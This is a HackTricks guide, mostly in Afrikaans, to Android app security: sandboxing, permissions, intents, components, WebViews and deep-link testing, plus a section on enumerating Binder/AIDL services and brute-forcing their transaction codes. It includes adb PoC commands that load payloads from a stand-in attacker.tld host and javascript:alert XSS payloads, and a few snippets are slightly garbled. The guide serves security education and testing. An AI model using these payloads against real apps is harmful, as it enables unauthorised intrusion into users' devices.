Android Applications Basics

Tip

Leer en oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer en oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Leer en oefen Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Ondersteun HackTricks

Android Security Model

Daar is twee lae:

  • Die OS, wat geïnstalleerde toepassings van mekaar geïsoleer hou.
  • Die toepassing self, wat ontwikkelaars toelaat om sekere funksionaliteite te bloot te stel en toepassingsvermoëns te konfigureer.

UID Separation

Elke toepassing word aan ’n spesifieke User ID toegewys. Dit gebeur tydens die installasie van die app sodat die app slegs met lêers wat deur sy User ID besit word of gedeelde lêers kan kommunikeer. Daarom kan slegs die app self, sekere komponente van die OS en die root-gebruiker toegang tot die app se data hê.

UID Sharing

Twee toepassings kan gekonfigureer word om dieselfde UID te gebruik. Dit kan nuttig wees om inligting te deel, maar as een daarvan gekompromitteer word, sal die data van albei toepassings gekompromitteer wees. Dit is hoekom hierdie gedrag afgeraad word.
Om dieselfde UID te deel, moet toepassings dieselfde android:sharedUserId waarde in hul manifests definieer.

Sandboxing

Die Android Application Sandbox laat toe dat elke toepassing as ’n afsonderlike proses onder ’n aparte user ID hardloop. Elke proses het sy eie virtual machine, sodat ’n app se code geïsoleerd van ander apps loop.
Vanaf Android 5.0(L) word SELinux afgedwing. Basies het SELinux alle prosesinteraksies geweier en toe beleid geskep om slegs die verwagte interaksies tussen hulle toe te laat.

Permissions

Wanneer jy ’n app installeer en dit vra vir permissies, vra die app vir die permissies wat in die uses-permission elemente in die AndroidManifest.xml lêer gekonfigureer is. Die uses-permission element dui die naam van die versoekte permissie binne die name attribuut aan. Dit het ook die maxSdkVersion attribuut wat stop om vir permissies te vra op weergawes hoër as die een wat gespesifiseer is.
Let daarop dat android toepassings nie nodig het om alle permissies aan die begin te vra nie; hulle kan ook dinamies vir permissies vra, maar al die permissies moet in die manifest verklaar wees.

Wanneer ’n app funksionaliteit blootstel, kan dit die toegang beperk tot slegs apps wat ’n gespesifiseerde permissie het.
’n Permission-element het drie attribute:

  • Die naam van die permissie
  • Die permission-group attribuut, wat toelaat om verwante permissies te groepeer.
  • Die protection-level wat aandui hoe die permissies verleen word. Daar is vier tipes:
  • Normal: Word gebruik wanneer daar geen bekende bedreigings vir die app is nie. Die gebruiker word nie vereis om dit te keur.
  • Dangerous: Dui aan dat die permissie die aansoek sekere verhoogde toegang gee. Gebruikers word gevra om dit te keur.
  • Signature: Slegs apps wat deur dieselfde sertifikaat onderteken is as die een wat die komponent uitvoer, kan die permissie verleen word. Dit is die sterkste beskermingstipe.
  • SignatureOrSystem: Slegs apps wat deur dieselfde sertifikaat onderteken is as die een wat die komponent uitvoer of apps wat met system-level toegang hardloop kan permissies verleen word.

Pre-Installed Applications

Hierdie apps word oor die algemeen in die /system/app of /system/priv-app directories gevind en sommige van hulle is geoptimaliseer (jy mag dalk nie eens die classes.dex lêer vind nie). Hierdie toepassings is die moeite werd om te kontroleer omdat hulle soms met te veel permissies (as root) hardloop.

  • Die wat saam met die AOSP (Android OpenSource Project) ROM verskaf word
  • Bygevoeg deur die toestel fabrikant
  • Bygevoeg deur die selfoon verskaffer (as dit by hulle gekoop is)

Rooting

In orde om root toegang op ’n fisiese android toestel te verkry, moet jy gewoonlik 1 of 2 vulnerabilities exploite wat dikwels spesifiek is vir die toestel en weergawe.
Sodra die exploit gewerk het, word gewoonlik die Linux su binêre na ’n ligging gekopieer wat in die gebruiker se PATH env veranderlike soos /system/xbin gespesifiseer is.

Sodra die su binêre geconfigureer is, word ’n ander Android app gebruik om te interfaseer met die su binêre en verwerking van versoeke vir root toegang te hanteer, soos Superuser en SuperSU (beskikbaar in Google Play store).

Caution

Let daarop dat die rooting-proses baie gevaarlik is en die toestel ernstig kan beskadig

ROMs

Dit is moontlik om die OS te vervang deur ’n custom firmware te installeer. Deur dit te doen is dit moontlik om die bruikbaarheid van ’n ou toestel uit te brei, sagtewarebeperkings te omseil of toegang tot die nuutste Android kode te kry.
OmniROM en LineageOS is twee van die gewildste firmwares om te gebruik.

Let daarop dat dit nie altyd nodig is om die toestel te root nie om ’n custom firmware te installeer. Sommige vervaardigers laat toe dat hul bootloaders op ’n goed-gedokumenteerde en veilige wyse ontgrendel word.

Implications

Sodra ’n toestel geroot is, kan enige app toegang as root vra. As ’n kwaadwillige toepassing dit kry, sal dit byna alles kan bereik en die telefoon kan beskadig.

Android Application Fundamentals

  • Die formaat van Android toepassings word verwys na as die APK file format. Dit is in wese ’n ZIP file (deur die lêernaam-uitbreiding na .zip te hernoem, kan die inhoud uitgepak en besigtig word).
  • APK Contents (Not exhaustive)
  • AndroidManifest.xml
  • resources.arsc/strings.xml
  • resources.arsc: bevat voorgecompileerde hulpbronne, soos binêre XML.
  • res/xml/files_paths.xml
  • META-INF/
  • This is where the Certificate is located!
  • classes.dex
  • Contains Dalvik bytecode, representing the compiled Java (or Kotlin) code that the application executes by default.
  • lib/
  • Houses native libraries, segregated by CPU architecture in subdirectories.
  • armeabi: code for ARM based processors
  • armeabi-v7a: code for ARMv7 and higher based processors
  • x86: code for X86 processors
  • mips: code for MIPS processors only
  • assets/
  • Stores miscellaneous files needed by the app, potentially including additional native libraries or DEX files, sometimes used by malware authors to conceal additional code.
  • res/
  • Contains resources that are not compiled into resources.arsc

Dalvik & Smali

In Android ontwikkeling word Java of Kotlin gebruik om apps te skep. In plaas daarvan om die JVM te gebruik soos in desktop apps, kompileer Android hierdie kode na Dalvik Executable (DEX) bytecode. Eerder het die Dalvik virtual machine hierdie bytecode hanteer, maar nou neem die Android Runtime (ART) dit oor in nuwer Android weergawes.

Vir reverse engineering word Smali noodsaaklik. Dit is die mens-leesbare weergawe van DEX bytecode, wat soos assembleertaal optree deur bronkode in bytecode-instruksies te vertaal. Smali en baksmali verwys na die assembly- en disassembly-instrumente in hierdie konteks.

Intents

Intents is die primêre manier waarop Android apps tussen hul komponente of met ander apps kommunikeer. Hierdie boodskapobjekte kan ook data tussen apps of komponente dra, soortgelyk aan hoe GET/POST versoeke in HTTP kommunikasie gebruik word.

So ’n Intent is basies ’n boodskap wat tussen komponente deurgegee word. Intents kan na spesifieke komponente of apps gerig word, of sonder ’n spesifieke ontvanger gestuur word.
Om dit eenvoudig te stel, kan Intents gebruik word om:

  • Om ’n Activity te begin, tipies om ’n gebruikerskoppelvlak vir ’n app te open
  • As broadcasts om die stelsel en apps van veranderinge in kennis te stel
  • Om ’n agtergrond diens te begin, stop, en mee te kommunikeer
  • Om toegang tot data via ContentProviders
  • As callbacks om gebeurtenisse te hanteer

As dit kwesbaar is, kan Intents gebruik word om ’n verskeidenheid aanvalle uit te voer.

Intent-Filter

Intent Filters definieer hoe ’n activity, service, of Broadcast Receiver met verskillende tipes Intents kan interaksieer. In wese beskryf hulle die vermoëns van hierdie komponente, soos watter aksies hulle kan uitvoer of watter tipes broadcasts hulle kan verwerk. Die primêre plek om hierdie filters te verklaar is binne die AndroidManifest.xml file, alhoewel vir Broadcast Receivers dit ook deur kodering gedoen kan word.

Intent Filters bestaan uit kategoríe, aksies, en data-filters, met die moontlikheid om addisionele metadata in te sluit. Hierdie opstelling laat komponente toe om spesifieke Intents te hanteer wat aan die verklaarde kriteria voldoen.

’n Kritieke aspek van Android komponente (activities/services/content providers/broadcast receivers) is hul sigbaarheid of public status. ’n Komponent word as openbaar beskou en kan met ander apps interaksie hê as dit exported met ’n waarde van true is of as ’n Intent Filter daarvoor in die manifest verklaar is. Daar is egter ’n manier vir ontwikkelaars om hierdie komponente uitdruklik privaat te hou, wat verseker dat hulle nie onbedoeld met ander apps interaksie hê nie. Dit word bereik deur die exported attribuut op false in hul manifestdefinisies te stel.

Bo en behalwe kan ontwikkelaars die opsie gebruik om toegang tot hierdie komponente verder te beveilig deur spesifieke permissies te vereis. Die permission attribuut kan gestel word om af te dwing dat slegs apps met die aangewese permissie die komponent kan gebruik, en sodoende ’n ekstra laag sekuriteit en beheer te voeg oor wie daarmee kan interaksie hê.

<activity android:name=".MyActivity" android:exported="false">
<!-- Intent filters go here -->
</activity>

Implisiete Intents

Intents word programmaties geskep deur ’n Intent constructor:

Intent email = new Intent(Intent.ACTION_SEND, Uri.parse("mailto:"));

Die Action van die voorheen gedeclareerde intent is ACTION_SEND en die Extra is ’n mailto Uri (die Extra is die ekstra inligting wat die intent verwag).

Hierdie intent moet binne die manifest verklaar word soos in die volgende voorbeeld:

<activity android:name="ShareActivity">
<intent-filter>
<action android:name="android.intent.action.SEND" />
<category android:name="android.intent.category.DEFAULT" />
</intent-filter>
</activity>

’n intent-filter moet die action, data en category ooreenstem om ’n boodskap te ontvang.

Die “Intent resolution” proses bepaal watter app elke boodskap moet ontvang. Hierdie proses neem die priority attribute in ag, wat in die intent-filter declaration gestel kan word, en die een met die hoër prioriteit sal gekies word. Hierdie prioriteit kan tussen -1000 en 1000 gestel word en toepassings kan die SYSTEM_HIGH_PRIORITY waarde gebruik. As ’n conflict ontstaan, verskyn ’n “chooser” venster sodat die gebruiker kan besluit.

Explicit Intents

’n explicit intent spesifiseer die class name waarop dit gemik is:

Intent downloadIntent = new (this, DownloadService.class):

In ander toepassings kan jy die volgende gebruik om toegang te kry tot die vooraf verklaarde intent:

Intent intent = new Intent();
intent.setClassName("com.other.app", "com.other.app.ServiceName");
context.startService(intent);

Pending Intents

These allow other applications to take actions on behalf of your application, using your app’s identity and permissions. Constructing a Pending Intent it should be specified an intent and the action to perform. If the declared intent isn’t Explicit (doesn’t declare which intent can call it) a malicious application could perform the declared action on behalf of the victim app. Moreover, if an action isn’t specified, the malicious app will be able to do any action on behalf the victim.

Broadcast Intents

Unlike the previous intents, which are only received by one app, broadcast intents can be received by multiple apps. However, from API version 14, it’s possible to specify the app that should receive the message using Intent.set Package.

Alternatively it’s also possible to specify a permission when sending the broadcast. The receiver app will need to have that permission.

There are two types of Broadcasts: Normal (asynchronous) and Ordered (synchronous). The order is base on the configured priority within the receiver element. Each app can process, relay or drop the Broadcast.

It’s possible to send a broadcast using the function sendBroadcast(intent, receiverPermission) from the Context class.
You could also use the function sendBroadcast from the LocalBroadCastManager ensures the message never leaves the app. Using this you won’t even need to export a receiver component.

Sticky Broadcasts

This kind of Broadcasts can be accessed long after they were sent.
These were deprecated in API level 21 and it’s recommended to not use them.
They allow any application to sniff the data, but also to modify it.

If you find functions containing the word “sticky” like sendStickyBroadcast or sendStickyBroadcastAsUser, check the impact and try to remove them.

Deep links / URL schemes

In Android applications, deep links are used to initiate an action (Intent) directly through a URL. This is done by declaring a specific URL scheme within an activity. When an Android device tries to access a URL with this scheme, the specified activity within the application is launched.

The scheme must be declarated in the AndroidManifest.xml file:

[...]
<activity android:name=".MyActivity">
<intent-filter>
<action android:name="android.intent.action.VIEW" />
<category android:name="android.intent.category.DEFAULT" />
<category android:name="android.intent.category.BROWSABLE" />
<data android:scheme="examplescheme" />
</intent-filter>
[...]

Die skema van die vorige voorbeeld is examplescheme:// (let ook op die category BROWSABLE)

Dan kan jy in die data-veld die host en path spesifiseer:

<data android:scheme="examplescheme"
android:host="example"
/>

Om dit vanaf die web te bereik, kan ’n skakel soos volg opgestel word:

<a href="examplescheme://example/something">click here</a>
<a href="examplescheme://example/javascript://%250dalert(1)">click here</a>

Om die kode wat in die App uitgevoer sal word te vind, gaan na die activity wat deur die deeplink aangeroep word en soek die funksie onNewIntent.

Learn how to call deep links without using HTML pages.

Deep link security testing & adb PoCs

  • Entry point discovery: exported Activities that declare <action android:name="android.intent.action.VIEW" /> + <category android:name="android.intent.category.BROWSABLE" /> is op afstand bereikbaar via vervaardigde URIs (custom schemes or http/https App Links). Prioritiseer paaie wat die sleutelwoorde login/reset/payment/wallet/admin bevat.
  • Validation bypass heuristics: swak host-kontroles soos endsWith(), contains(), permissive regexes, of substring allowlists kan gewoonlik omseil word met deur die aanvaller beheerde subdomeine, voorvoegsel-/agtervoegseltruuks, en URL/UTF‑8 dubbelkodering.
  • WebView sinks: as die handler die inkomende URI of navraagparameters na WebView.loadUrl(...) deurstuur, kan jy die app dwing om arbitrêre aanvaller-inhoud te vertoon. As skema-validatie swak is, probeer javascript: payloads sowel as eksterne https:// URLs.
  • adb PoC templates (implicit vs explicit):
# Generic implicit VIEW (custom scheme or App Link)
adb shell am start -a android.intent.action.VIEW \
-d "myscheme://com.example.app/web?url=https://attacker.tld/payload.html"

# Explicitly target a specific Activity
adb shell am start -n com.example/.MainActivity -a android.intent.action.VIEW \
-d "myapp://host/path?redirect=https://attacker.tld"

# Try javascript: when scheme filters are lax
adb shell am start -a android.intent.action.VIEW \
-d "myapp://host/web?url=javascript:alert(1)"
  • Operasionele wenke: capture multiple payload variants (external URL vs javascript:) en speel dit vinnig teen ’n toestel/emulator af om werklike issues (open-redirect/auth-bypass/WebView URL injection) van static-analysis geraas te onderskei.
  • Outomatisering: Deep-C outomatiseer deeplink hunting deur die APK te decompileer (apktool + dex2jar + jadx), exported + browsable activities op te som, swak validering en WebView.loadUrl-vloei te korreleer, en gereed-vir-run adb PoCs uit te gee (opsioneel outomaties uitgevoer met --exec).

AIDL - Android Interface Definition Language

Die Android Interface Definition Language (AIDL) is ontwerp om kommunikasie tussen kliënt en diens in Android-toepassings deur interproses-kommunikasie (IPC) te vergemaklik. Aangesien direkte toegang tot ’n ander proses se geheue op Android nie toegelaat word nie, vereenvoudig AIDL die proses deur objekte te marshall in ’n formaat wat deur die bedryfstelsel verstaan word, en sodoende kommunikasie oor verskillende prosesse te fasiliteer.

Sleutelkonsepte

  • Bound Services: Hierdie dienste gebruik AIDL vir IPC, wat dit moontlik maak dat activities of komponente aan ’n diens bind, versoeke stuur en antwoorde ontvang. Die onBind-metode in die diens se klas is krities vir die inisiasie van interaksie en is daarom ’n belangrike area vir sekuriteitshersiening op soek na kwesbaarhede.

  • Messenger: Werkend as ’n bound service, fasiliteer Messenger IPC met ’n fokus op die verwerking van data deur die onBind-metode. Dit is noodsaaklik om hierdie metode noukeurig na te gaan vir enige onveilige datahantering of die uitvoering van sensitiewe funksies.

  • Binder: Alhoewel direkte gebruik van die Binder-klas minder algemeen is as gevolg van AIDL se abstraksie, is dit nuttig om te verstaan dat Binder optree as ’n kernelvlak-bestuurder wat data-oordrag tussen die geheue-ruimtes van verskillende prosesse fasiliteer. Vir verdere insig is ’n hulpbron beskikbaar by https://www.youtube.com/watch?v=O-UHvFjxwZ8.

Komponente

Hierdie sluit in: Activities, Services, Broadcast Receivers and Providers.

Launcher Activity and other activities

In Android-apps is activities soos skerms wat verskillende dele van die app se gebruikerskoppelvlak vertoon. ’n App kan baie activities hê, elk wat ’n unieke skerm aan die gebruiker bied.

Die launcher activity is die hoofingang tot ’n app en word begin wanneer jy op die app-ikoon tik. Dit word in die app se manifestlêer gedefinieer met spesifieke MAIN en LAUNCHER intents:

<activity android:name=".LauncherActivity">
<intent-filter>
<action android:name="android.intent.action.MAIN" />
<category android:name="android.intent.category.LAUNCHER" />
</intent-filter>
</activity>

Nie alle apps benodig ’n launcher activity nie, veral dié sonder ’n gebruikerskoppelvlak, soos agtergronddienste.

Activities kan beskikbaar gemaak word vir ander apps of prosesse deur dit as “exported” in die manifest aan te merk. Hierdie instelling laat ander apps toe om hierdie activity te begin:

<service android:name=".ExampleExportedService" android:exported="true"/>

Egter, toegang tot ’n activity vanaf ’n ander app is nie altyd ’n sekuriteitsrisiko nie. Die bekommernis ontstaan as sensitiewe data verkeerd gedeel word, wat tot information leaks kan lei.

Die lewensiklus van ’n activity begin met die onCreate method, stel die UI op en berei die activity voor vir interaksie met die gebruiker.

Application Subklas

In Android-ontwikkeling het ’n app die opsie om ’n subklas van die Application klas te skep, alhoewel dit nie verpligtend is nie. Wanneer so ’n subklas gedefinieer word, word dit die eerste klas wat binne die app geïnstantieer word. Die attachBaseContext method, indien geïmplementeer in hierdie subklas, word uitgevoer voor die onCreate method. Hierdie opstelling maak vroeë inisialisering moontlik voordat die res van die toepassing begin.

public class MyApp extends Application {
@Override
protected void attachBaseContext(Context base) {
super.attachBaseContext(base);
// Initialization code here
}

@Override
public void onCreate() {
super.onCreate();
// More initialization code
}
}

Dienste

Services is agtergrondprosesse wat in staat is om take uit te voer sonder ’n gebruikerskoppelvlak. Hierdie take kan voortgaan om te loop selfs wanneer gebruikers na verskillende toepassings oorskakel, wat dienste kritiek maak vir langdurige operasies.

Dienste is veelsydig; hulle kan op verskeie maniere geïnisieer word, met Intents as die primêre metode om hulle as ’n toepassing se ingangspunt te begin. Sodra ’n diens met die startService-metode begin is, tree die onStart-metode in werking en bly dit loop totdat die stopService-metode uitdruklik aangeroep word. Alternatiewelik, as ’n diens se rol afhang van ’n aktiewe kliëntverbinding, word die bindService-metode gebruik om die kliënt aan die diens te bind, en die onBind-metode word betrek vir data-oordrag.

Een interessante toepassing van dienste sluit in musiekafspeling in die agtergrond of die ophaal van netwerkdata sonder om die gebruiker se interaksie met ’n app te belemmer. Verder kan dienste vir ander prosesse op dieselfde toestel toeganklik gemaak word deur middel van exporting. Dit is nie die standaardgedrag nie en vereis eksplisiete konfigurasie in die Android Manifest file:

<service android:name=".ExampleExportedService" android:exported="true"/>

Broadcast Receivers

Broadcast receivers tree op as luisteraars in ’n boodskapstelsel en stel meerdere toepassings in staat om op dieselfde stelselboodskappe te reageer. ’n App kan ’n ontvanger registreer op twee primêre maniere: deur die app se Manifest of dinamies binne die app se kode via die registerReceiver API. In die Manifest word broadcasts met permissies gefilter, terwyl dinamies geregistreerde receivers ook permissies kan spesifiseer tydens registrasie.

Intent filters is noodsaaklik in beide registrasiemetodes en bepaal watter broadcasts die ontvanger sal aktiveer. Sodra ’n ooreenstemmende broadcast gestuur word, word die ontvanger se onReceive metode aangeroep, wat die app in staat stel om ooreenkomstig te reageer — byvoorbeeld om gedrag aan te pas as daar ’n lae battery waarskuwing is.

Broadcasts kan óf asynchroon wees, wat alle ontvangers sonder volgorde bereik, óf synchronies, waar ontvangers die broadcast op grond van ingestelde prioriteite ontvang. Dit is egter belangrik om die moontlike sekuriteitsrisiko te besef, aangesien enige app homself kan prioritiseer om ’n broadcast te onderskep.

Om ’n ontvanger se funksionaliteit te verstaan, soek die onReceive metode in die klas. Die kode in hierdie metode kan die ontvangde Intent manipuleer, wat die behoefte aan data-validasie deur ontvangers beklemtoon — veral in Ordered Broadcasts, wat die Intent kan wysig of laat val.

Content Provider

Content Providers is noodsaaklik vir die deel van gestruktureerde data tussen apps en beklemtoon die belangrikheid van die implementering van permissions om databeskerming te verseker. Hulle laat apps toe om data van verskeie bronne te benader, insluitend databasisse, filesystems of die web. Spesifieke permissies, soos readPermission en writePermission, is noodsaaklik om toegang te beheer. Tydelike toegang kan ook gegee word via grantUriPermission instellings in die app se manifest, deur attributen soos path, pathPrefix en pathPattern te gebruik vir gedetailleerde toegangsbeheer.

Invoervalidasie is van uiterste belang om kwesbaarhede soos SQL-inspuiting te voorkom. Content Providers ondersteun basiese operasies: insert(), update(), delete(), en query(), wat datamanipulasie en deling tussen toepassings fasiliteer.

Permission semantics and pitfalls (Content Providers)

  • As ’n provider exported is, moet jy beide readPermission en writePermission duidelik verklaar. Wanneer writePermission weggelaat word, is die standaard null, wat beteken enige app kan probeer om insert/update/delete uit te voer as daardie metodes deur die provider geïmplementeer is.
  • Moet nooit onbetroubare projection, selection, selectionArgs, of sortOrder aan rou SQL koppel nie. Gebruik whitelists en parameter binding (bv. SQLiteQueryBuilder met ’n projection map) en vaste WHERE-sjablone.
  • Verkies android:exported=“false” tensy die provider publiek moet wees. Vir selektiewe deling, gebruik grantUriPermissions met path/pathPrefix/pathPattern.

FileProvider, ’n gespesialiseerde Content Provider, fokus op die veilige deel van lêers. Dit word in die app se manifest gedefinieer met spesifieke attributen om toegang tot vouers te beheer, aangedui deur android:exported en android:resource wat na vouerkonfigurasies wys. Wees versigtig wanneer jy gidse deel om te voorkom dat sensitiewe data per ongeluk blootgestel word.

Example manifest declaration for FileProvider:

<provider android:name="androidx.core.content.FileProvider"
android:authorities="com.example.myapp.fileprovider"
android:grantUriPermissions="true"
android:exported="false">
<meta-data android:name="android.support.FILE_PROVIDER_PATHS"
android:resource="@xml/filepaths" />
</provider>

En ’n voorbeeld van die spesifisering van gedeelde gidse in filepaths.xml:

<paths>
<files-path path="images/" name="myimages" />
</paths>

Vir verdere inligting, kyk:

WebViews

WebViews is soos mini-webblaaiers binne Android-apps, wat inhoud vanaf die web of plaaslike lêers laai. Hulle het soortgelyke risiko’s as gewone blaaiers, maar daar is maniere om hierdie risiko’s te verminder deur spesifieke instellings.

Android bied twee hoof WebView-tipes:

  • WebViewClient is goed vir basiese HTML maar ondersteun nie die JavaScript alert-funksie nie, wat beïnvloed hoe XSS-aanvalle getoets kan word.
  • WebChromeClient tree meer soos die volledige Chrome-blaaier-ervaring op.

’n Belangrike punt is dat WebView-blaaiers nie koekies deel met die toestel se hoofblaaier nie.

Vir die laai van inhoud is metode soos loadUrl, loadData, en loadDataWithBaseURL beskikbaar. Dit is noodsaaklik om te verseker dat hierdie URL’s of lêers veilig is om te gebruik. Sekuriteitsinstellings kan bestuur word via die WebSettings klas. Byvoorbeeld, om JavaScript te deaktiveer met setJavaScriptEnabled(false) kan XSS-aanvalle voorkom.

Die JavaScript “Bridge” laat Java-objekte met JavaScript kommunikeer, en vereis dat metodes gemerk is met @JavascriptInterface vir sekuriteit vanaf Android 4.2 af.

Deur inhoudstoegang toe te laat (setAllowContentAccess(true)) kan WebViews Content Providers bereik, wat ’n risiko kan wees tensy die inhoud-URL’s as veilig geverifieer is.

Om lêertoegang te beheer:

  • Deaktiveer lêertoegang (setAllowFileAccess(false)) om toegang tot die lêerstelsel te beperk, met uitsonderings vir sekere assets, en sorg dat dié alleenlik vir nie-sensitiewe inhoud gebruik word.

Ander app-komponente en Mobiele Toestelbestuur (MDM)

Digitale ondertekening van toepassings

  • Digitale ondertekening is noodsaaklik vir Android-apps en verseker dat hulle eg geskryf is voordat hulle geïnstalleer word. Hierdie proses gebruik ’n sertifikaat vir app-identifikasie en moet deur die toestel se pakketbestuurder by installasie geverifieer word. Apps kan self-onderteken of deur ’n eksterne CA gesertifiseer wees, wat beskerming bied teen ongemagtigde toegang en verseker dat die app tydens aflewering na die toestel nie gemanipuleer is nie.

App-verifikasie vir verbeterde sekuriteit

  • Vanaf Android 4.2 laat ’n funksie genaamd Verify Apps gebruikers toe om apps op veiligheid te laat kontroleer voor installasie. Hierdie verifikasieproses kan gebruikers teen moontlik skadelike apps waarsku, of selfs die installasie van besonder kwaadwillige apps voorkom, wat die gebruiker se sekuriteit verbeter.

Mobiele Toestelbestuur (MDM)

  • MDM-oplossings bied toesig en sekuriteit vir mobiele toestelle deur middel van die Device Administration API. Hulle vereis die installasie van ’n Android-app om mobiele toestelle doeltreffend te bestuur en te beveilig. Sleutelfunksies sluit in die afdwing van wagwoordbeleid, die vereiste van stoor-enkripsie, en die vermoë om data op afstand te vee, wat omvattende beheer en sekuriteit oor mobiele toestelle verseker.
// Example of enforcing a password policy with MDM
DevicePolicyManager dpm = (DevicePolicyManager) getSystemService(Context.DEVICE_POLICY_SERVICE);
ComponentName adminComponent = new ComponentName(context, AdminReceiver.class);

if (dpm.isAdminActive(adminComponent)) {
// Set minimum password length
dpm.setPasswordMinimumLength(adminComponent, 8);
}

Enumerasie en Uitbuiting van AIDL / Binder Services

Android Binder IPC openbaar baie stelsel- en deur-verskaffers voorsiene dienste. Daardie dienste word ’n aanvalsoppervlak wanneer hulle geëksporteer word sonder ’n behoorlike toestemmingskontrole (die AIDL-laag self voer geen toegangskontrole uit).

1. Ontdek lopende dienste

# from an adb shell (USB or wireless)
service list               # simple one-liner
am list services           # identical output, ActivityManager wrapper
  1. Eerste item
  2. Tweede item
  3. Derde item
145  mtkconnmetrics: [com.mediatek.net.connectivity.IMtkIpConnectivityMetrics]
146  wifi             : [android.net.wifi.IWifiManager]
  • Die index (eerste kolom) word by uitvoeringstyd toegewys – moenie daarop staatmaak oor herlaaiings nie.
  • Die Binder-naam (bv. mtkconnmetrics) is wat aan service call gegee sal word.
  • Die waarde binne die hakies is die volledig-gekwalifiseerde AIDL interface waarvan die stub gegenereer is.

2. Verkry die interface-beskrywer (PING)

Elke Binder-stub implementeer outomaties die transaksiekode 0x5f4e5446 (1598968902 desimaal, ASCII “_NTF”).

# "ping" the service
service call mtkconnmetrics 1    # 1 == decimal 1598968902 mod 2^32

’N geldige antwoord lewer die koppelvlaknaam gekodeer as ’n UTF-16-string binne ’n Parcel.

3. Om ’n transaksie aan te roep

Syntax: service call <name> <code> [type value ...]

Algemene argumentspesifiseerders:

  • i32 <int> – ondertekende 32-bit waarde
  • i64 <long> – ondertekende 64-bit waarde
  • s16 <string> – UTF-16-string (Android 13+ gebruik utf16)

Voorbeeld – begin netwerkmonitering met uid 1 op ’n MediaTek-toestel:

service call mtkconnmetrics 8 i32 1

4. Brute-forcing onbekende metodes

Wanneer header-lêers nie beskikbaar is nie, kan jy iterate the code totdat die fout verander van:

Result: Parcel(00000000 00000000)  # "Not a data message"

na ’n normale Parcel antwoord of SecurityException.

for i in $(seq 1 50); do
printf "[+] %2d -> " $i
service call mtkconnmetrics $i 2>/dev/null | head -1
done

As die diens gekompileer is with proguard, moet die kartering geraai word – sien volgende stap.

5. Kartering van kodes ↔ metodes via onTransact()

Dekompileer die jar/odex wat die interface implementeer (vir AOSP stubs kyk in /system/framework; OEMs gebruik dikwels /system_ext of /vendor). Soek na Stub.onTransact() – dit bevat ’n reuse switch(transactionCode):

case TRANSACTION_updateCtaAppStatus:      // 5
data.enforceInterface(DESCRIPTOR);
int appId  = data.readInt();
boolean ok = data.readInt() != 0;
updateCtaAppStatus(appId, ok);
reply.writeNoException();
return true;

Nou is die prototipe en parameter tipes kristalhelder.

6. Spotting missing permission checks

Die implementering (dikwels ’n innerlike Impl-klas) is verantwoordelik vir magtiging:

private void updateCtaAppStatus(int uid, boolean status) {
if (!isPermissionAllowed()) {
throw new SecurityException("uid " + uid + " rejected");
}
/* privileged code */
}

Afwesigheid van so ’n logika of ’n witlys van bevoorregte UIDs (bv. uid == 1000 /*system*/) is ’n aanwyser van ’n kwesbaarheid.

Gevalstudie – MediaTek startMonitorProcessWithUid() (transaksie 8) voer ’n Netlink-boodskap volledig uit sonder enige toegangshek, wat ’n onbevoorregte app toelaat om met die kernel se Netfilter-module te kommunikeer en die stelsel log te spam.

7. Outomatiseer die assessering

Gereedskap/skripte wat Binder-verkenning versnel:

  • binderfs – openbaar /dev/binderfs met per-diens nodes
  • binder-scanner.py – loop deur die binder-tabel en druk ACLs uit
  • Frida-kortpad: Java.perform(()=>console.log(android.os.ServiceManager.listServices().toArray()))

Verwysings

Tip

Leer en oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer en oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Leer en oefen Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Ondersteun HackTricks